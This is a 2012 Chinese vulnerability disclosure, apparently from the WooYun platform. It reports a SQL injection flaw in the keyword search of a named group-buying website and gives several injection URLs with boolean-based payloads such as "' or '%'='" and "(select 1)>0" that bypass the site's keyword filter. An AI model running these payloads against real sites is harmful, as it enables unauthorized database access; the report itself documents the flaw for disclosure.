漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2012-03-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-04-20: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
RT,话说怎么好多网站都叫天天团购,研究了半天,最终还是没搞明白,o(︶︿︶)o
详细说明:
其实这个貌似对参数进行了过滤,and,-等关键字都已经被限制,但是,过滤不严格导致了问题:or,select ,',=,<,>等管关键字未被过滤
先找个不从在的关键字
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq返回空
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20'1'='依然返回空
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20'%'='返回数据
由此推断后台sql语句可能类似这样的写法 select * from xxx where keyword like '%str%'
,然后我们再来试试http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%200%3E0+or%20'1'='返回空 or 0>0以及最后的or '1'='%也为false,所以返回空
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%201%3E0+or%20'1'='返回数据 因为or 1>0成立
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20(select%201)%3E0+or%20'1'=' 返回数据,说明 (select 1)>0成立,select查询成功
漏洞证明:
修复方案:
你懂得
版权声明:转载请注明来源 冷冷的夜@乌云
>
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝